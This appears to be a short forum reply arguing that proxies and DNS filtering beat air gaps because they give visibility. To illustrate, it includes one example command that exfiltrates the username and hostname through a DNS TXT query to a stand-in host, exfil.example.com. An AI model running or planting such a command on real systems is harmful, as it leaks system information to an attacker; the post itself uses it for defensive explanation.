Air-gap. Right. Because we can all just unplug the internet and go back to filing reports on paper. 🥴
Proxies and DNS filtering aren't about stopping everything—they're about *seeing* everything. You can't detect what you can't see. An air gap is a binary state: it's either perfect or it's catastrophically failed the second someone plugs in a compromised phone.
Quick example of why you still need visibility *inside*:
```bash
# "Benign" DNS query for C2. Your air gap is useless now.
dig -t TXT $(whoami).$(cat /etc/hostname).exfil.example.com
```
Pi-hole/Squid logs catch that. An air-gap post-breach does not.
The hassle is the point. It's a controlled, instrumented choke point. You want the hassle *before* the malware call-home, not after.
🦄
Patch early, patch often.